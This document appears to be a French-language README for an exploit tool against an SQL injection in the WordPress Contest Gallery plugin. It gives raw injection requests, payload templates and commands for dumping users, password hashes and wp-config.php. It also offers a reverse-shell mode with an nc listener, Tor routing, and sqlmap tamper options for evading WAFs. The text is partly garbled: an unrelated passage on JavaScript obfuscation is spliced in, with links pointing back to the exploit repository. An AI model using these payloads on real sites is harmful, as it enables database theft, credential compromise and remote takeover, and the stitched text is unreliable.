POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: XX

action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=' OR 1=1-- -
``````http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

action=post_cg1l_resend_unconfirmed_mail_frontend
&cgl_mail=qualquer'OR/**/1=1#@teste.com
&cgl_page_id=1
&cgl_activation_key=
&cg_nonce=%20

### Dépendances

**Requis (exécution) :**```text
requests>=2.31.0

> L'exploit principal utilise uniquement la bibliothèque standard Python ainsi que `requests`. Des paquets supplémentaires améliorent la sortie et les rapports.

---

## Démarrage rapide

> Remplacez `http://target.example` par une cible **de laboratoire ou autorisée** uniquement.

### Vérifier la vulnérabilité```bash
python3 cve-2026-3180.py http://target.example --scan

### Extraire les utilisateurs WordPress```bash
python3 cve-2026-3180.py http://target.example --dump users

### Générer un rapport HTML```bash
python3 cve-2026-3180.py http://target.example --report html -o assessment.html

---

## Guide d'utilisation

### Analyse de vulnérabilités uniquement```bash
python3 cve-2026-3180.py http://target.example --scan

Extrait les informations de la base de données, les utilisateurs, les options, les plugins, les thèmes, les articles, les tables et les métadonnées système.

### Dumps sélectifs```bash
python3 cve-2026-3180.py http://target.example --dump database
python3 cve-2026-3180.py http://target.example --dump users
python3 cve-2026-3180.py http://target.example --dump config
python3 cve-2026-3180.py http://target.example --dump options
python3 cve-2026-3180.py http://target.example --dump plugins
python3 cve-2026-3180.py http://target.example --dump themes

*   **Détection d'outils d'obfuscation de scripts dans le HTML**
    *   Les outils d'obfuscation de scripts comme [obfuscator.io](https://github.com/cerberusmrxi/wp-contest-gallery-28.1.4-exploit/blob/main/obfuscator.io) ou [javascript-obfuscator](https://github.com/cerberusmrxi/wp-contest-gallery-28.1.4-exploit/blob/main/javascript-obfuscator) obscurcissent un script JS complet ou une partie de celui-ci.
    *   Cela conduit à des scripts JS contenant une fonction principale appelée `_0x` et un argument de décalage `_0x88fx`. 
    *   *Vous trouverez un fichier d'exemple placé dans scans/*.*```text
sql> SELECT DATABASE()
wordpress

sql> show users
[
  {
    "username": "admin",
    "email": "[email protected]",
    "password_hash": "$P$B..."
  }
]

sql> show tables
["wp_users", "wp_posts", "wp_options", ...]

sql> exit

### Reverse shell (laboratoire autorisé uniquement)```bash
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — exploit
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444

Ou utilisez le script d'automatisation fourni :```bash
chmod +x sqlmap_automation.sh
./sqlmap_automation.sh http://target.example

### Nuclei template```bash
python3 cve-2026-3180.py http://target.example --nuclei-template

# Scan with generated template
nuclei -u http://target.example -t CVE-2026-3180.yaml

### Routage Tor```bash
# Ensure Tor is running on 127.0.0.1:9050
python3 cve-2026-3180.py http://target.example --proxy tor

---

## Référence des commandes

### Arguments positionnels

| Argument | Description |
|---|---|
| `target` | URL de base WordPress cible (ex. `http://target.example`) |

### Options réseau

| Argument | Défaut | Description |
|---|---|---|
| `--proxy` | — | URL du proxy ou `tor` pour SOCKS5 via Tor |
| `--timeout` | `10` | Délai d'expiration des requêtes HTTP (secondes) |
| `--delay` | `0.05` | Délai entre les requêtes (secondes) |
| `--retries` | `3` | Nombre de tentatives en cas d'échec |
| `--threads`, `-t` | `5` | Taille du pool de threads |

### Options de sortie

| Argument | Description |
|---|---|
| `--verbose`, `-v` | Activer la journalisation de débogage |
| `--quiet` | Supprimer la sortie console |
| `--output`, `-o` | Chemin personnalisé du fichier de sortie |

### Modes

| Argument | Description |
|---|---|
| *(par défaut)* | Exploitation complète : détection → scan → extraction de tout |
| `--scan` | Détection de vulnérabilité uniquement |
| `--sql-shell` | Shell SQL interactif |
| `--dump {users,config,database,options,plugins,themes,all}` | Extraire des données spécifiques |
| `--report {json,html}` | Générer un rapport d'évaluation |
| `--reverse-shell LHOST LPORT` | Tenter un reverse shell via écriture de fichier |
| `--sqlmap` | Afficher la commande SQLMap |
| `--burp-extension` | Générer une extension Burp Suite |
| `--nuclei-template` | Générer un modèle YAML Nuclei |

---

## Techniques d'injection

L'outil teste et utilise automatiquement plusieurs stratégies d'injection :

| Type | Méthode de détection | Cas d'utilisation |
|---|---|---|
| **Booléen** | Différentiel de longueur de réponse (`1=1` vs `1=2`) | Moteur d'extraction principal |
| **Temporel** | Inférence par délai `SLEEP()` | Repli lorsque les signaux booléens sont faibles |
| **Basé sur les erreurs** | Chaînes d'erreur `EXTRACTVALUE()` / SQL | Métadonnées rapides lorsque les erreurs fuient |
| **Union** | Charges utiles `UNION SELECT` | Récupération directe de valeurs (lorsque applicable) |
| **Requêtes empilées** | Syntaxe `'; ... #` | Exécution multi-instructions (rare) |

### Modèles de charge utile

Le `PayloadManager` alterne entre plus de 12 modèles d'injection :```text
'OR/**/{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR/**/{condition}OR/**/'1'='1'#
'UNION/**/SELECT{condition}#
...

---

## Extraction de données

### Cibles d'extraction

| Cible | Source SQL | Clé de sortie |
|---|---|---|
| Nom de la base de données | `SELECT DATABASE()` | `database.name` |
| Version de la base de données | `SELECT VERSION()` | `database.version` |
| Utilisateur de la base de données | `SELECT USER()` | `database.user` |
| Tables | `information_schema.TABLES` | `tables[]` |
| Colonnes | `information_schema.COLUMNS` | `columns{}` |
| Utilisateurs WP | `wp_users` | `users[]` |
| Hachages de mots de passe | `wp_users.user_pass` | `users[].password_hash` |
| Emails | `wp_users.user_email` | `users[].email` |
| Rôles | `wp_usermeta` capabilities | `users[].roles` |
| Options du site | `wp_options` | `options{}` |
| Plugins actifs | `wp_options.active_plugins` | `plugins[]` |
| Thèmes | `template` / `stylesheet` options | `themes[]` |
| Articles | `wp_posts` | `posts[]` |
| wp-config.php | `LOAD_FILE('/var/www/html/wp-config.php')` | `config` |
| Informations système | `@@hostname`, `@@datadir`, etc. | `system_info{}` |

### Forme de l'objet utilisateur extrait```json
{
  "username": "admin",
  "password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "email": "[email protected]",
  "roles": ["administrator"]
}

---

## Intégrations

### SQLMap

Commande générée (via `--sqlmap`):```bash
sqlmap -u "http://target.example/wp-admin/admin-ajax.php" \
  --data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
  -p cgl_mail \
  --dbms=mysql \
  --level=3 --risk=2 \
  --batch \
  --threads=5 \
  --time-sec=5 \
  --retries=3 \
  --delay=0.05 \
  --random-agent \
  --hex \
  --tamper=space2comment,randomcase,between,charencode \
  --dbs

### Metasploit```bash
# Copy module to Metasploit
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/

# Run
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"

### Résumé technique

1. **Point d'entrée** — action AJAX `post_cg1l_resend_unconfirmed_mail_frontend` dans le plugin Contest Gallery.  
2. **Point de chute** — valeur `cgl_mail` concaténée dans une requête SQL sans paramétrage.  
3. **Exploitation** — Inférence booléenne aveugle pour extraire les données caractère par caractère.  
4. **Impact** — Accès complet en lecture à la base de données WordPress ; possibilité d'écriture de fichier si les privilèges MySQL le permettent.  

---

## Sortie et Rapports

### Sortie console```text
[*] Target: http://target.example
[*] Checking vulnerability...
[+] Target is VULNERABLE! (Boolean-based)
[+] Response length difference: 42 chars
[*] Extracting database information...
[+] name: wordpress
[+] version: 8.0.35
[+] Found 3 users
[+] Exploitation complete!

Les rapports sont enregistrés dans `reports/` par défaut.

---

## Docker```dockerfile
FROM python:3.11-slim

WORKDIR /app
COPY requirements.txt cve-2026-3180.py ./
RUN pip install --no-cache-dir -r requirements.txt

ENTRYPOINT ["python3", "cve-2026-3180.py"]
CMD ["--help"]

---

## Intégration CI/CD

Exemple de workflow GitHub Actions pour des scans de staging autorisés :```yaml
name: CVE-2026-3180 Staging Scan

on:
  workflow_dispatch:
  schedule:
    - cron: '0 2 * * 1'

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - run: pip install -r requirements.txt

      - name: Vulnerability scan
        run: |
          python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
            --scan --quiet
        continue-on-error: true

      - name: Generate report
        run: |
          python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
            --report json -o reports/staging.json

      - uses: actions/upload-artifact@v4
        with:
          name: security-report
          path: reports/

## Disposition du dépôt```text
exploit/
├── cve-2026-3180.py              # Main exploit tool (v2.0)
├── requirements.txt              # Python dependencies
├── README.md                     # This file
├── burp_contest_gallery.py       # Standalone Burp Suite extension
├── contest_gallery_sqli.rb       # Metasploit auxiliary module
├── cve-2026-3180_automated.sh    # Bash/curl automation script
├── sqlmap_automation.sh          # SQLMap wrapper script
├── reports/                    # Generated reports (created at runtime)
├── backups/                    # Database backups (created at runtime)
├── payloads/                   # Custom payload storage
└── venv/                       # Local virtualenv (optional, not committed)

---

## Support

- Mettez une étoile au dépôt s'il vous aide dans vos recherches  
- Ouvrez des issues pour les bugs, les faux positifs ou les améliorations de détection  
- Les pull requests sont les bienvenues pour la documentation, les techniques de contournement WAF et l'UX des laboratoires autorisés  

---

<div align="center">

**Pour tests de sécurité autorisés uniquement.**

</div>